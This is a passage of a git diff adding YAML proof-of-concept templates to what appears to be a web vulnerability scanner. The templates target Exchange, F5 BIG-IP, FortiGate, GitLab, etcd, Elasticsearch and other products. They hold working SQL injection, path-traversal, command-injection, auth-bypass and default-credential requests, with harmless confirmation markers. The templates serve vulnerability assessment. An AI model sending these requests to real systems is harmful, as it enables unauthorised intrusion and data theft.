"/usr/share/elasticsearch/repo/{{r1}}" + } + } + follow_redirects: true + expression: | + response.status == 200 && response.content_type.contains("application/json") && response.body.bcontains(b"{\"acknowledged\":true}") + - method: PUT + path: /_snapshot/{{r1}}2 + headers: + Content-Type: application/x-www-form-urlencoded + body: |- + { + "type": "fs", + "settings":{ + "location": "/usr/share/elasticsearch/repo/{{r1}}/snapshot-backdata" + } + } + follow_redirects: true + expression: | + response.status == 200 && response.content_type.contains("application/json") && response.body.bcontains(b"{\"acknowledged\":true}") + - method: GET + path: >- + /_snapshot/{{r1}}/backdata%2f..%2f..%2f..%2fconfig%2felasticsearch.yml + follow_redirects: true + expression: | + response.status == 400 && response.content_type.contains("application/json") && response.body.bcontains(b"{\"error\":\"ElasticsearchParseException[Failed to derive xcontent from") +detail: + author: ha9worm(https://github.com/ha9worm) + links: + - https://www.cnblogs.com/sallyzhang/p/12457031.html diff --git a/webscan/pocs/elasticsearch-unauth.yml b/webscan/pocs/elasticsearch-unauth.yml new file mode 100644 index 0000000..18b7cd1 --- /dev/null +++ b/webscan/pocs/elasticsearch-unauth.yml @@ -0,0 +1,16 @@ +name: poc-yaml-elasticsearch-unauth +rules: + - method: GET + path: / + follow_redirects: false + expression: | + response.status == 200 && response.content_type.contains("application/json") && response.body.bcontains(b"You Know, for Search") + - method: GET + path: /_cat + follow_redirects: false + expression: | + response.status == 200 && response.body.bcontains(b"/_cat/master") +detail: + author: p0wd3r + links: + - https://yq.aliyun.com/articles/616757 diff --git a/webscan/pocs/etcd-unauth.yml b/webscan/pocs/etcd-unauth.yml new file mode 100644 index 0000000..91efe96 --- /dev/null +++ b/webscan/pocs/etcd-unauth.yml @@ -0,0 +1,29 @@ +name: poc-yaml-etcd-unauth +set: + r1: randomLowercase(32) + r2: randomLowercase(32) + r3: randomLowercase(32) +rules: + - method: PUT + path: /v2/keys/{{r1}}?dir=true + follow_redirects: false + expression: | + response.status == 201 + - method: PUT + path: /v2/keys/{{r1}}/{{r2}}?prevExist=false + headers: + Content-Type: application/x-www-form-urlencoded + body: value={{r3}} + follow_redirects: false + expression: | + response.status == 201 + - method: GET + path: /v2/keys/{{r1}}/{{r2}}?quorum=false&recursive=false&sorted=false + follow_redirects: false + expression: | + response.status == 200 && response.body.bcontains(bytes(r3)) + +detail: + author: j4ckzh0u(https://github.com/j4ckzh0u) + links: + - https://www.freebuf.com/news/196993.html diff --git a/webscan/pocs/etcd-v3-unauth.yml b/webscan/pocs/etcd-v3-unauth.yml new file mode 100644 index 0000000..d9a87d2 --- /dev/null +++ b/webscan/pocs/etcd-v3-unauth.yml @@ -0,0 +1,14 @@ +name: ETCD V3未授权 +rules: + - method: POST + path: /v3/kv/range + follow_redirects: false + Content-Type: application/json;charset=utf-8 + expression: | + response.status == 200 && response.body.bcontains(b"cluster") && response.body.bcontains(b"head") + body: | + {"key": "bmFtZQ=="} +detail: + author: rj45(https://github.com/INT2ECALL) + links: + - https://networksec.blog.csdn.net/article/details/144912358?spm=1001.2014.3001.5502 diff --git a/webscan/pocs/etouch-v2-sqli.yml b/webscan/pocs/etouch-v2-sqli.yml new file mode 100644 index 0000000..de8d3c5 --- /dev/null +++ b/webscan/pocs/etouch-v2-sqli.yml @@ -0,0 +1,12 @@ +name: poc-yaml-etouch-v2-sqli +rules: + - method: GET + path: >- + /upload/mobile/index.php?c=category&a=asynclist&price_max=1.0%20AND%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(0x7e,md5(1),0x7e,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a)' + expression: | + response.status == 200 && response.body.bcontains(b"c4ca4238a0b923820dcc509a6f75849b") +detail: + author: MaxSecurity(https://github.com/MaxSecurity) + links: + - https://github.com/mstxq17/CodeCheck/ + - https://www.anquanke.com/post/id/168991 \ No newline at end of file diff --git a/webscan/pocs/exchange-cve-2021-26855-ssrf.yml b/webscan/pocs/exchange-cve-2021-26855-ssrf.yml new file mode 100644 index 0000000..6b9cfbd --- /dev/null +++ b/webscan/pocs/exchange-cve-2021-26855-ssrf.yml @@ -0,0 +1,14 @@ +name: poc-yaml-exchange-cve-2021-26855-ssrf +rules: + - method: GET + path: /owa/auth/x.js + headers: + Cookie: X-AnonResource=true; X-AnonResource-Backend=localhost/ecp/default.flt?~3; X-BEResource=localhost/owa/auth/logon.aspx?~3; + follow_redirects: false + expression: | + response.headers["X-CalculatedBETarget"].icontains("localhost") +detail: + author: sharecast + Affected Version: "Exchange 2013 Versions < 15.00.1497.012, Exchange 2016 CU18 < 15.01.2106.013, Exchange 2016 CU19 < 15.01.2176.009, Exchange 2019 CU7 < 15.02.0721.013, Exchange 2019 CU8 < 15.02.0792.010" + links: + - https://github.com/microsoft/CSS-Exchange/blob/main/Security/http-vuln-cve2021-26855.nse diff --git a/webscan/pocs/eyou-rce.yml b/webscan/pocs/eyou-rce.yml new file mode 100644 index 0000000..7645a4d --- /dev/null +++ b/webscan/pocs/eyou-rce.yml @@ -0,0 +1,18 @@ +name: poc-yaml-eyou-email-system-rce +set: + r1: randomInt(800000000, 1000000000) + r2: randomInt(800000000, 1000000000) +rules: + - method: POST + path: /webadm/?q=moni_detail.do&action=gragh + headers: + Content-Type: application/x-www-form-urlencoded + body: | + type='|expr%20{{r1}}%20%2B%20{{r2}}||' + expression: | + response.status == 200 && response.body.bcontains(bytes(string(r1 + r2))) +detail: + author: Print1n(http://print1n.top) + description: 亿邮电子邮件系统 远程命令执行漏洞 + links: + - https://fengchenzxc.github.io/%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/%E4%BA%BF%E9%82%AE/%E4%BA%BF%E9%82%AE%E7%94%B5%E5%AD%90%E9%82%AE%E4%BB%B6%E7%B3%BB%E7%BB%9F%20%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E/ diff --git a/webscan/pocs/ezoffice-dpwnloadhttp.jsp-filedownload.yml b/webscan/pocs/ezoffice-dpwnloadhttp.jsp-filedownload.yml new file mode 100644 index 0000000..97d5c9a --- /dev/null +++ b/webscan/pocs/ezoffice-dpwnloadhttp.jsp-filedownload.yml @@ -0,0 +1,13 @@ +name: poc-yaml-ezoffice-downloadhttp.jsp-filedownload +rules: + - method: GET + path: /defaultroot/site/templatemanager/downloadhttp.jsp?fileName=../public/edit/jsp/config.jsp + follow_redirects: false + expression: | + response.status == 200 && response.headers["filename"].contains("../public/edit/jsp/config.jsp") + +detail: + author: PeiQi0 + links: + - https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/oa/%E4%B8%87%E6%88%B7OA/%E4%B8%87%E6%88%B7OA%20downloadhttp.jsp%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8B%E8%BD%BD%E6%BC%8F%E6%B4%9E.md + tags: ezoffice,file,download diff --git a/webscan/pocs/f5-cve-2021-22986.yml b/webscan/pocs/f5-cve-2021-22986.yml new file mode 100644 index 0000000..62a0c2b --- /dev/null +++ b/webscan/pocs/f5-cve-2021-22986.yml @@ -0,0 +1,20 @@ +name: poc-yaml-f5-cve-2021-22986 +set: + r1: randomInt(800000000, 1000000000) + r2: randomInt(800000000, 1000000000) +rules: + - method: POST + path: /mgmt/tm/util/bash + headers: + Content-Type: application/json + Authorization: Basic YWRtaW46 + X-F5-Auth-Token: " " + body: >- + {"command":"run","utilCmdArgs":"-c 'expr {{r1}} + {{r2}}'"} + follow_redirects: false + expression: | + response.status == 200 && response.body.bcontains(bytes(string(r1 + r2))) +detail: + author: Hex + links: + - https://support.f5.com/csp/article/K03009991 diff --git a/webscan/pocs/f5-cve-2022-1388.yml b/webscan/pocs/f5-cve-2022-1388.yml new file mode 100644 index 0000000..8eada04 --- /dev/null +++ b/webscan/pocs/f5-cve-2022-1388.yml @@ -0,0 +1,21 @@ +name: poc-yaml-f5-cve-2022-1388 +set: + r1: randomInt(800000000, 1000000000) + r2: randomInt(800000000, 1000000000) +rules: + - method: POST + path: /mgmt/tm/util/bash + headers: + Content-Type: application/json + Connection: keep-alive, x-F5-Auth-Token + X-F5-Auth-Token: a + Authorization: Basic YWRtaW46 + body: >- + {"command":"run","utilCmdArgs":"-c 'expr {{r1}} + {{r2}}'"} + follow_redirects: false + expression: | + response.status == 200 && response.body.bcontains(bytes(string(r1 + r2))) +detail: + author: jindaxia + links: + - https://support.f5.com/csp/article/K23605346 diff --git a/webscan/pocs/f5-tmui-cve-2020-5902-rce.yml b/webscan/pocs/f5-tmui-cve-2020-5902-rce.yml new file mode 100644 index 0000000..100a2ad --- /dev/null +++ b/webscan/pocs/f5-tmui-cve-2020-5902-rce.yml @@ -0,0 +1,16 @@ +name: poc-yaml-f5-tmui-cve-2020-5902-rce +rules: + - method: POST + path: >- + /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp + headers: + Content-Type: application/x-www-form-urlencoded + body: fileName=%2Fetc%2Ff5-release + follow_redirects: true + expression: | + response.status == 200 && response.body.bcontains(b"BIG-IP release") +detail: + author: Jing Ling + links: + - https://support.f5.com/csp/article/K52145254 + - https://github.com/rapid7/metasploit-framework/pull/13807/files diff --git a/webscan/pocs/fangweicms-sqli.yml b/webscan/pocs/fangweicms-sqli.yml new file mode 100644 index 0000000..a9df0f1 --- /dev/null +++ b/webscan/pocs/fangweicms-sqli.yml @@ -0,0 +1,13 @@ +name: poc-yaml-fangweicms-sqli +set: + rand: randomInt(200000000, 210000000) +rules: + - method: GET + path: /index.php?m=Goods&a=showcate&id=103%20UNION%20ALL%20SELECT%20CONCAT%28md5({{rand}})%29%23 + expression: | + response.body.bcontains(bytes(md5(string(rand)))) +detail: + author: Rexus + Affected Version: "4.3" + links: + - http://www.wujunjie.net/index.php/2015/08/02/%E6%96%B9%E7%BB%B4%E5%9B%A2%E8%B4%AD4-3%E6%9C%80%E6%96%B0%E7%89%88sql%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E/ diff --git a/webscan/pocs/fckeditor-info.yml b/webscan/pocs/fckeditor-info.yml new file mode 100644 index 0000000..09a7e3e --- /dev/null +++ b/webscan/pocs/fckeditor-info.yml @@ -0,0 +1,19 @@ +name: poc-yaml-fckeditor-info +sets: + path: + - "/fckeditor/_samples/default.html" + - "/fckeditor/editor/filemanager/connectors/uploadtest.html" + - "/ckeditor/samples/" + - "/editor/ckeditor/samples/" + - "/ckeditor/samples/sample_posteddata.php" + - "/editor/ckeditor/samples/sample_posteddata.php" + - "/fck/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php" + - "/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellcheckder.php" +rules: + - method: GET + path: /{{path}} + follow_redirects: false + expression: | + response.body.bcontains(b'FCKeditor') || response.body.bcontains(b'<title>CKEditor Samples') || response.body.bcontains(b'http://ckeditor.com') || response.body.bcontains(b'Custom Uploader URL:') || response.body.bcontains(b'init_spell()') || response.body.bcontains(b"'tip':'") +detail: + author: shadown1ng(https://github.com/shadown1ng) diff --git a/webscan/pocs/feifeicms-lfr.yml b/webscan/pocs/feifeicms-lfr.yml new file mode 100644 index 0000000..a8d4748 --- /dev/null +++ b/webscan/pocs/feifeicms-lfr.yml @@ -0,0 +1,10 @@ +name: poc-yaml-feifeicms-lfr +rules: + - method: GET + path: /index.php?s=Admin-Data-down&id=../../Conf/config.php + expression: | + response.status == 200 && response.body.bcontains(b"") && response.body.bcontains(b"") +detail: + author: l1nk3r(http://www.lmxspace.com/) + links: + - http://foreversong.cn/archives/1378 diff --git a/webscan/pocs/finereport-v8-arbitrary-file-read.yml b/webscan/pocs/finereport-v8-arbitrary-file-read.yml new file mode 100644 index 0000000..1df681a --- /dev/null +++ b/webscan/pocs/finereport-v8-arbitrary-file-read.yml @@ -0,0 +1,11 @@ +name: poc-yaml-fineReport-v8.0-arbitrary-file-read +rules: + - method: GET + path: /WebReport/ReportServer?op=chart&cmd=get_geo_json&resourcepath=privilege.xml + follow_redirects: false + expression: | + response.status == 200 && response.body.bcontains(b"rootManagerName") && response.body.bcontains(b"CDATA") +detail: + author: Facker007(https://github.com/Facker007) + links: + - http://wiki.peiqi.tech/PeiQi_Wiki/OA%E4%BA%A7%E5%93%81%E6%BC%8F%E6%B4%9E/%E5%B8%86%E8%BD%AFOA/%E5%B8%86%E8%BD%AF%E6%8A%A5%E8%A1%A8%20v8.0%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E%20CNVD-2018-04757.html?h=%E5%B8%86%E8%BD%AF%E6%8A%A5%E8%A1%A8 diff --git a/webscan/pocs/flexpaper-cve-2018-11686.yml b/webscan/pocs/flexpaper-cve-2018-11686.yml new file mode 100644 index 0000000..ddcd48a --- /dev/null +++ b/webscan/pocs/flexpaper-cve-2018-11686.yml @@ -0,0 +1,38 @@ +name: poc-yaml-flexpaper-cve-2018-11686 +set: + fileName: randomLowercase(6) + verifyStr: randomLowercase(6) +rules: + - method: POST + path: /php/change_config.php + headers: + Content-Type: application/x-www-form-urlencoded + body: | + SAVE_CONFIG=1&PDF_Directory=a&SWF_Directory=config/&LICENSEKEY=a&SPLITMODE=a&RenderingOrder_PRIM=a&RenderingOrder_SEC=a + expression: | + response.status == 302 || response.status == 200 + - method: POST + path: /php/change_config.php + headers: + Content-Type: application/x-www-form-urlencoded + body: | + SAVE_CONFIG=1&PDF_Directory=a&SWF_Directory=config/&LICENSEKEY=a&SPLITMODE=a&RenderingOrder_PRIM=a&RenderingOrder_SEC=a + expression: | + response.status == 302 || response.status == 200 + - method: GET + path: >- + /php/setup.php?step=2&PDF2SWF_PATH=printf%20{{verifyStr}}%25%25{{verifyStr}}%20%3e%20{{fileName}} + follow_redirects: false + expression: | + response.status == 200 + - method: GET + path: >- + /php/{{fileName}}pdf2swf + expression: | + response.status == 200 && response.body.bcontains(bytes(string(verifyStr + "%" + verifyStr))) +detail: + author: Soveless(https://github.com/Soveless) + Affected Version: "FlexPaper <= 2.3.6" + links: + - https://github.com/mpgn/CVE-2018-11686 + - https://cloud.tencent.com/developer/article/1472550 diff --git a/webscan/pocs/flink-jobmanager-cve-2020-17519-lfi.yml b/webscan/pocs/flink-jobmanager-cve-2020-17519-lfi.yml new file mode 100644 index 0000000..48d43a2 --- /dev/null +++ b/webscan/pocs/flink-jobmanager-cve-2020-17519-lfi.yml @@ -0,0 +1,10 @@ +name: poc-yaml-flink-jobmanager-cve-2020-17519-lfi +rules: + - method: GET + path: /jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd + expression: | + response.status == 200 && "^root:[x*]:0:0:".bmatches(response.body) +detail: + author: MaxSecurity(https://github.com/MaxSecurity) + links: + - https://github.com/vulhub/vulhub/tree/master/flink/CVE-2020-17519 diff --git a/webscan/pocs/fortigate-cve-2018-13379-readfile.yml b/webscan/pocs/fortigate-cve-2018-13379-readfile.yml new file mode 100644 index 0000000..fdaf388 --- /dev/null +++ b/webscan/pocs/fortigate-cve-2018-13379-readfile.yml @@ -0,0 +1,13 @@ +name: poc-yaml-fortigate-cve-2018-13379-readfile + +rules: + - method: GET + path: "/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession" + headers: + Content-Type: application/x-www-form-urlencoded + follow_redirects: true + expression: response.body.bcontains(bytes("fgt_lang")) && response.body.bcontains(bytes("Forticlient")) +detail: + author: tom0li(https://tom0li.github.io/) + links: + - https://blog.orange.tw/2019/08/attacking-ssl-vpn-part-2-breaking-the-fortigate-ssl-vpn.html diff --git a/webscan/pocs/frp-dashboard-unauth.yml b/webscan/pocs/frp-dashboard-unauth.yml new file mode 100644 index 0000000..2e326af --- /dev/null +++ b/webscan/pocs/frp-dashboard-unauth.yml @@ -0,0 +1,21 @@ +name: poc-yaml-frp-dashboard-unauth +groups: + unauth: + - method: GET + path: /api/proxy/tcp + follow_redirects: true + expression: | + response.status == 200 && response.content_type.contains("text/plain") && response.body.bcontains(b"proxies") + defaultpassword: + - method: GET + path: /api/proxy/tcp + follow_redirects: false + expression: | + response.status == 401 && response.body.bcontains(b"Unauthorized") + - method: GET + path: /api/proxy/tcp + headers: + Authorization: Basic YWRtaW46YWRtaW4= + follow_redirects: false + expression: | + response.status == 200 && response.content_type.contains("text/plain") && response.body.bcontains(b"proxies") diff --git a/webscan/pocs/gateone-cve-2020-35736.yml b/webscan/pocs/gateone-cve-2020-35736.yml new file mode 100644 index 0000000..9d2df30 --- /dev/null +++ b/webscan/pocs/gateone-cve-2020-35736.yml @@ -0,0 +1,15 @@ +name: poc-yaml-gateone-cve-2020-35736 +rules: + - method: GET + follow_redirects: true + path: "/" + expression: response.status == 200 && response.body.bcontains(b"GateOne.init") && response.body.bcontains(b"href=\"/static/gateone.css\"") + - method: GET + follow_redirects: false + path: "/downloads/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd" + expression: | + response.status == 200 && "root:[x*]:0:0:".bmatches(response.body) +detail: + author: tangshoupu + links: + - https://nvd.nist.gov/vuln/detail/CVE-2020-35736 diff --git a/webscan/pocs/gilacms-cve-2020-5515.yml b/webscan/pocs/gilacms-cve-2020-5515.yml new file mode 100644 index 0000000..1e6c189 --- /dev/null +++ b/webscan/pocs/gilacms-cve-2020-5515.yml @@ -0,0 +1,12 @@ +name: poc-yaml-gilacms-cve-2020-5515 +set: + r1: randomInt(200000000, 210000000) +rules: + - method: GET + path: /admin/sql?query=SELECT%20md5({{r1}}) + expression: | + response.body.bcontains(bytes(md5(string(r1)))) +detail: + author: PickledFish(https://github.com/PickledFish) + links: + - https://infosecdb.wordpress.com/2020/01/05/gilacms-1-11-8-admin-sqlquery-sql-injection/ diff --git a/webscan/pocs/gitlab-graphql-info-leak-cve-2020-26413.yml b/webscan/pocs/gitlab-graphql-info-leak-cve-2020-26413.yml new file mode 100644 index 0000000..82c1fe4 --- /dev/null +++ b/webscan/pocs/gitlab-graphql-info-leak-cve-2020-26413.yml @@ -0,0 +1,15 @@ +name: poc-yaml-gitlab-graphql-info-leak-cve-2020-26413 +rules: + - method: POST + path: /api/graphql + headers: + Content-Type: application/json + body: |- + {"query":"{\nusers {\nedges {\n node {\n username\n email\n avatarUrl\n status {\n emoji\n message\n messageHtml\n }\n }\n }\n }\n }","variables":null,"operationName":null} + expression: |- + response.status == 200 && "x-runtime" in response.headers && response.body.bcontains(b"{\"data\":{\"users\":{\"edges\":[{\"node\":{\"username\":\"") && "\",\"email\":\"[^\"]+@[^\"]+\"".bmatches(response.body) +detail: + author: Print1n(https://github.com/Print1n) + description: GitLab Graphql邮箱信息泄露漏洞 CNVD-2021-14193 / CVE-2020-26413 + links: + - https://fengchenzxc.github.io/%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/GitLab/GitLab%20Graphql%E9%82%AE%E7%AE%B1%E4%BF%A1%E6%81%AF%E6%B3%84%E9%9C%B2%E6%BC%8F%E6%B4%9E%20CVE-2020-26413/ diff --git a/webscan/pocs/gitlab-ssrf-cve-2021-22214.yml b/webscan/pocs/gitlab-ssrf-cve-2021-22214.yml new file mode 100644 index 0000000..acdfcc0 --- /dev/null +++ b/webscan/pocs/gitlab-ssrf-cve-2021-22214.yml @@ -0,0 +1,14 @@ +name: poc-yaml-gitlab-ssrf-cve-2021-22214 +rules: + - method: POST + path: /api/v4/ci/lint + headers: + Content-Type: application/json + body: | + {"include_merged_yaml": true, "content": "include:\n remote: http://baidu.com/api/v1/targets/?test.yml"} + expression: | + response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"{\"status\":\"invalid\",\"errors\":") && (response.body.bcontains(b"does not have valid YAML syntax") || response.body.bcontains(b"could not be fetched")) +detail: + author: mumu0215(https://github.com/mumu0215) + links: + - https://mp.weixin.qq.com/s/HFug1khyfHmCujhc_Gm_yQ diff --git a/webscan/pocs/gitlist-rce-cve-2018-1000533.yml b/webscan/pocs/gitlist-rce-cve-2018-1000533.yml new file mode 100644 index 0000000..f774c20 --- /dev/null +++ b/webscan/pocs/gitlist-rce-cve-2018-1000533.yml @@ -0,0 +1,25 @@ +name: poc-yaml-gitlist-rce-cve-2018-1000533 +set: + r1: randomInt(800000000, 1000000000) + r2: randomInt(800000000, 1000000000) + r3: randomLowercase(8) +rules: + - method: GET + path: / + search: | + (?P.+?) + expression: | + response.status == 200 && "gitlist".bmatches(response.body) + - method: POST + path: /{{project_name}}/tree/a/search + headers: + Content-Type: application/x-www-form-urlencoded + body: | + query=--open-files-in-pager=echo%20{{r3}}:$(expr%20{{r1}}%20%2b%20{{r2}}):{{r1}}:{{r1}} + expression: | + response.status == 200 && response.body.bcontains(bytes(string(r1 + r2))) +detail: + author: Print1n(https://print1n.top) + description: gitlist 0.6.0 远程命令执行漏洞(CVE-2018-1000533) + links: + - https://github.com/vulhub/vulhub/tree/master/gitlist/CVE-2018-1000533 \ No newline at end of file diff --git a/webscan/pocs/glassfish-cve-2017-1000028-lfi.yml b/webscan/pocs/glassfish-cve-2017-1000028-lfi.yml new file mode 100644 index 0000000..ee3aebb --- /dev/null +++ b/webscan/pocs/glassfish-cve-2017-1000028-lfi.yml @@ -0,0 +1,12 @@ +name: poc-yaml-glassfish-cve-2017-1000028-lfi +rules: + - method: GET + path: /theme/META-INF/%c0%ae%c0%ae/META-INF/MANIFEST.MF + follow_redirects: true + expression: | + response.status == 200 && response.body.bcontains(b"Ant-Version:") && response.body.bcontains(b"Manifest-Version:") +detail: + version: <4.1.0 + author: sharecast + links: + - https://github.com/vulhub/vulhub/tree/master/glassfish/4.1.0 \ No newline at end of file diff --git a/webscan/pocs/go-pprof-leak.yml b/webscan/pocs/go-pprof-leak.yml new file mode 100644 index 0000000..6f26d9a --- /dev/null +++ b/webscan/pocs/go-pprof-leak.yml @@ -0,0 +1,15 @@ +name: poc-yaml-go-pprof-leak +rules: + - method: GET + path: "/debug/pprof/" + expression: | + response.status == 200 && response.body.bcontains(bytes(string(b"Types of profiles available"))) && response.body.bcontains(bytes(string(b"Profile Descriptions"))) + - method: GET + path: "/debug/pprof/goroutine?debug=1" + expression: | + response.status == 200 && response.body.bcontains(bytes(string(b"goroutine profile: total"))) +detail: + author: pa55w0rd(www.pa55w0rd.online/) + Affected Version: "go pprof leak" + links: + - https://cloud.tencent.com/developer/news/312276 diff --git a/webscan/pocs/gocd-cve-2021-43287.yml b/webscan/pocs/gocd-cve-2021-43287.yml new file mode 100644 index 0000000..4db70a5 --- /dev/null +++ b/webscan/pocs/gocd-cve-2021-43287.yml @@ -0,0 +1,17 @@ +name: poc-yaml-gocd-cve-2021-43287 +groups: + linux0: + - method: GET + path: /go/add-on/business-continuity/api/plugin?folderName=&pluginName=../../../../../../../../etc/passwd + follow_redirects: false + expression: response.status == 200 && "root:[x*]:0:0:".bmatches(response.body) + windows0: + - method: GET + path: /go/add-on/business-continuity/api/plugin?folderName=&pluginName=../../../../../../../../windows/win.ini + follow_redirects: false + expression: response.status == 200 && (response.body.bcontains(b"for 16-bit app support") || response.body.bcontains(b"[extensions]")) +detail: + author: For3stCo1d (https://github.com/For3stCo1d) + description: "Gocd-file-read" + links: + - https://blog.sonarsource.com/gocd-pre-auth-pipeline-takeover diff --git a/webscan/pocs/h2-database-web-console-unauthorized-access.yml b/webscan/pocs/h2-database-web-console-unauthorized-access.yml new file mode 100644 index 0000000..92c3b6b --- /dev/null +++ b/webscan/pocs/h2-database-web-console-unauthorized-access.yml @@ -0,0 +1,18 @@ +name: poc-yaml-h2-database-web-console-unauthorized-access +rules: + - method: GET + path: /h2-console + follow_redirects: true + expression: > + response.status == 200 && response.body.bcontains(b"Welcome to H2") + search: | + location.href = '(?P.+?)' + - method: GET + path: /h2-console/{{token}} + expression: | + response.status == 200 && response.body.bcontains(b"Generic H2") +detail: + author: jujumanman (https://github.com/jujumanman) + links: + - https://blog.csdn.net/zy15667076526/article/details/111413979 + - https://github.com/vulhub/vulhub/tree/master/h2database/h2-console-unacc diff --git a/webscan/pocs/h3c-imc-rce.yml b/webscan/pocs/h3c-imc-rce.yml new file mode 100644 index 0000000..e6eda22 --- /dev/null +++ b/webscan/pocs/h3c-imc-rce.yml @@ -0,0 +1,19 @@ +name: poc-yaml-h3c-imc-rce +set: + r1: randomLowercase(8) + r2: randomLowercase(8) + r3: randomLowercase(8) + r4: randomLowercase(8) +rules: + - method: POST + path: /imc/javax.faces.resource/dynamiccontent.properties.xhtml + follow_redirects: false + body: | + pfdrt=sc&ln=primefaces&pfdrid=uMKljPgnOTVxmOB%2BH6%2FQEPW9ghJMGL3PRdkfmbiiPkUDzOAoSQnmBt4dYyjvjGhVqupdmBV%2FKAe9gtw54DSQCl72JjEAsHTRvxAuJC%2B%2FIFzB8dhqyGafOLqDOqc4QwUqLOJ5KuwGRarsPnIcJJwQQ7fEGzDwgaD0Njf%2FcNrT5NsETV8ToCfDLgkzjKVoz1ghGlbYnrjgqWarDvBnuv%2BEo5hxA5sgRQcWsFs1aN0zI9h8ecWvxGVmreIAuWduuetMakDq7ccNwStDSn2W6c%2BGvDYH7pKUiyBaGv9gshhhVGunrKvtJmJf04rVOy%2BZLezLj6vK%2BpVFyKR7s8xN5Ol1tz%2FG0VTJWYtaIwJ8rcWJLtVeLnXMlEcKBqd4yAtVfQNLA5AYtNBHneYyGZKAGivVYteZzG1IiJBtuZjHlE3kaH2N2XDLcOJKfyM%2FcwqYIl9PUvfC2Xh63Wh4yCFKJZGA2W0bnzXs8jdjMQoiKZnZiqRyDqkr5PwWqW16%2FI7eog15OBl4Kco%2FVjHHu8Mzg5DOvNevzs7hejq6rdj4T4AEDVrPMQS0HaIH%2BN7wC8zMZWsCJkXkY8GDcnOjhiwhQEL0l68qrO%2BEb%2F60MLarNPqOIBhF3RWB25h3q3vyESuWGkcTjJLlYOxHVJh3VhCou7OICpx3NcTTdwaRLlw7sMIUbF%2FciVuZGssKeVT%2FgR3nyoGuEg3WdOdM5tLfIthl1ruwVeQ7FoUcFU6RhZd0TO88HRsYXfaaRyC5HiSzRNn2DpnyzBIaZ8GDmz8AtbXt57uuUPRgyhdbZjIJx%2FqFUj%2BDikXHLvbUMrMlNAqSFJpqoy%2FQywVdBmlVdx%2BvJelZEK%2BBwNF9J4p%2F1fQ8wJZL2LB9SnqxAKr5kdCs0H%2FvouGHAXJZ%2BJzx5gcCw5h6%2Fp3ZkZMnMhkPMGWYIhFyWSSQwm6zmSZh1vRKfGRYd36aiRKgf3AynLVfTvxqPzqFh8BJUZ5Mh3V9R6D%2FukinKlX99zSUlQaueU22fj2jCgzvbpYwBUpD6a6tEoModbqMSIr0r7kYpE3tWAaF0ww4INtv2zUoQCRKo5BqCZFyaXrLnj7oA6RGm7ziH6xlFrOxtRd%2BLylDFB3dcYIgZtZoaSMAV3pyNoOzHy%2B1UtHe1nL97jJUCjUEbIOUPn70hyab29iHYAf3%2B9h0aurkyJVR28jIQlF4nT0nZqpixP%2Fnc0zrGppyu8dFzMqSqhRJgIkRrETErXPQ9sl%2BzoSf6CNta5ssizanfqqCmbwcvJkAlnPCP5OJhVes7lKCMlGH%2BOwPjT2xMuT6zaTMu3UMXeTd7U8yImpSbwTLhqcbaygXt8hhGSn5Qr7UQymKkAZGNKHGBbHeBIrEdjnVphcw9L2BjmaE%2BlsjMhGqFH6XWP5GD8FeHFtuY8bz08F4Wjt5wAeUZQOI4rSTpzgssoS1vbjJGzFukA07ahU%3D&cmd=echo%20{{r1}}${{{r2}}}{{r3}}^{{r4}} + expression: | + response.status == 200 && (response.body.bcontains(bytes(r1 + r3 + "^" + r4)) || response.body.bcontains(bytes(r1 + "${" + r2 + "}" + r3 + r4))) + +detail: + author: Print1n(http://print1n.top) + links: + - https://mp.weixin.qq.com/s/BP9_H3lpluqIwL5OMIJlIw diff --git a/webscan/pocs/h3c-secparh-any-user-login.yml b/webscan/pocs/h3c-secparh-any-user-login.yml new file mode 100644 index 0000000..50b042e --- /dev/null +++ b/webscan/pocs/h3c-secparh-any-user-login.yml @@ -0,0 +1,10 @@ +name: poc-yaml-h3c-secparh-any-user-login +rules: + - method: GET + path: /audit/gui_detail_view.php?token=1&id=%5C&uid=%2Cchr(97))%20or%201:%20print%20chr(121)%2bchr(101)%2bchr(115)%0d%0a%23&login=admin + expression: | + response.status == 200 && "错误的id".bmatches(response.body) && "审计管理员".bmatches(response.body) && "admin".bmatches(response.body) +detail: + author: Print1n(https://print1n.top) + links: + - https://www.pwnwiki.org/index.php?title=H3C_SecParh%E5%A0%A1%E5%A3%98%E6%A9%9F_get_detail_view.php_%E4%BB%BB%E6%84%8F%E7%94%A8%E6%88%B6%E7%99%BB%E9%8C%84%E6%BC%8F%E6%B4%9E diff --git a/webscan/pocs/h5s-video-platform-cnvd-2020-67113-unauth.yml b/webscan/pocs/h5s-video-platform-cnvd-2020-67113-unauth.yml new file mode 100644 index 0000000..9793c55 --- /dev/null +++ b/webscan/pocs/h5s-video-platform-cnvd-2020-67113-unauth.yml @@ -0,0 +1,16 @@ +name: poc-yaml-h5s-video-platform-cnvd-2020-67113-unauth +groups: + h5s1: + - method: GET + path: /api/v1/GetSrc + expression: response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"H5_AUTO") && response.body.bcontains(b"strUser") && response.body.bcontains(b"strPasswd") + h5s2: + - method: GET + path: /api/v1/GetDevice + expression: response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"H5_DEV") && response.body.bcontains(b"strUser") && 